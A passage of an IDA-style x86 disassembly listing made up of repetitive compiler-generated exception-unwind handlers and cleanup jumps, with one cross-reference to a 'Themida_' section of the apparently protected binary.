		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413860	proc near		; DATA XREF: sub_413860+2o
		mov	eax, offset dword_4400A8
		jmp	sub_436868
SEH_413860	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B78:				; DATA XREF: ___:00440114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A30	proc near		; DATA XREF: sub_413A30+2o
		mov	eax, offset dword_4400E8
		jmp	sub_436868
SEH_413A30	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BA8:				; DATA XREF: ___:00413B62o
		mov	eax, offset dword_440128
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BC8:				; DATA XREF: ___:00440184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BD0:				; DATA XREF: ___:0044018Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439BDB:				; DATA XREF: ___:00440194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413BF0	proc near		; DATA XREF: sub_413BF0+2o
		mov	eax, offset dword_440158
		jmp	sub_436868
SEH_413BF0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C08:				; DATA XREF: ___:004401CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E20	proc near		; DATA XREF: sub_413E20+2o
		mov	eax, offset dword_4401A0
		jmp	sub_436868
SEH_413E20	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C5B:				; DATA XREF: ___:00440224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414110	proc near		; DATA XREF: sub_414110+2o
		mov	eax, offset dword_4401F8
		jmp	sub_436868
SEH_414110	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439C98:				; DATA XREF: ___:00440264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CB0:				; DATA XREF: ___:004141A2o
		mov	eax, offset dword_440238
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439CD8:				; DATA XREF: ___:004402ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4142B0	proc near		; DATA XREF: sub_4142B0+2o
		mov	eax, offset dword_440280
		jmp	sub_436868
SEH_4142B0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D28:				; DATA XREF: ___:004402FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4143E0	proc near		; DATA XREF: sub_4143E0+2o
		mov	eax, offset dword_4402D0
		jmp	sub_436868
SEH_4143E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D68:				; DATA XREF: ___:00440344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439D78:				; DATA XREF: ___:00414482o
		mov	eax, offset dword_440318
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414550	proc near		; DATA XREF: sub_414550+2o
		mov	eax, offset dword_440358
		jmp	sub_436868
SEH_414550	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DB8:				; DATA XREF: ___:004403B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DC0:				; DATA XREF: ___:00414712o
		mov	eax, offset dword_440388
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DD8:				; DATA XREF: ___:004403ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414850	proc near		; DATA XREF: sub_414850+2o
		mov	eax, offset dword_4403C0
		jmp	sub_436868
SEH_414850	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:00440424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414A50	proc near		; DATA XREF: sub_414A50+2o
		mov	eax, offset dword_4403F8
		jmp	sub_436868
SEH_414A50	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E38:				; DATA XREF: ___:00414AE2o
		mov	eax, offset dword_440438
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E58:				; DATA XREF: ___:00414B72o
		mov	eax, offset dword_440468
		jmp	sub_436868
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439E78:				; DATA XREF: ___:004404C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D20	proc near		; DATA XREF: sub_414D20+2o
		mov	eax, offset dword_440498
		jmp	sub_436868
SEH_414D20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414DC0	proc near		; DATA XREF: sub_414DC0+8o
		mov	eax, offset dword_4404E0
		jmp	sub_436868
SEH_414DC0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_439F18:				; DATA XREF: ___:0044056Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A081:				; DATA XREF: ___:00416A42o
		mov	eax, offset dword_440540
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43A0F8:				; DATA XREF: ___:0044067Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_40143D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401929
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401C8F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014F1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401E83
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A23
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017A3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402216
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401EB0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018CA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017D0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B27
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F28
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_40187A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401DED
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_401FF5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_40176C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401EE2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A261:				; DATA XREF: ___:00416DE2o
		mov	eax, offset dword_440650
		jmp	sub_436868
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417060	proc near		; DATA XREF: sub_417060+2o
		mov	eax, offset dword_440760
		jmp	sub_436868
SEH_417060	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_43A2FB:				; DATA XREF: ___:004407BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]


loc_43A563:				; DATA XREF: Themida_:off_61C7C2o
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170D0	proc near		; DATA XREF: sub_4170D0+2o
		mov	eax, offset dword_440790
		jmp	sub_436868
SEH_4170D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72B:				; DATA XREF: ___:004409FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4175F0	proc near		; DATA XREF: sub_4175F0+2o
		mov	eax, offset dword_4409D0
		jmp	sub_436868
SEH_4175F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A77B:				; DATA XREF: ___:00440A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417690	proc near		; DATA XREF: sub_417690+2o
		mov	eax, offset dword_440A18
		jmp	sub_436868
SEH_417690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A7EE:				; DATA XREF: ___:00440A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417760	proc near		; DATA XREF: sub_417760+2o
		mov	eax, offset dword_440A70
		jmp	sub_436868
SEH_417760	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A84B:				; DATA XREF: ___:00440AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417820	proc near		; DATA XREF: sub_417820+2o
		mov	eax, offset dword_440AB8
		jmp	sub_436868
SEH_417820	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A8AB:				; DATA XREF: ___:00440B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4178E0	proc near		; DATA XREF: sub_4178E0+2o
		mov	eax, offset dword_440B08
		jmp	sub_436868
SEH_4178E0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179A0	proc near		; DATA XREF: sub_4179A0+2o
		mov	eax, offset dword_440B58
		jmp	sub_436868
SEH_4179A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A10	proc near		; DATA XREF: sub_417A10+2o
		mov	eax, offset dword_440B88
		jmp	sub_436868
SEH_417A10	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A80	proc near		; DATA XREF: sub_417A80+2o
		mov	eax, offset dword_440BB8
		jmp	sub_436868
SEH_417A80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A96B:				; DATA XREF: ___:00440C14o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


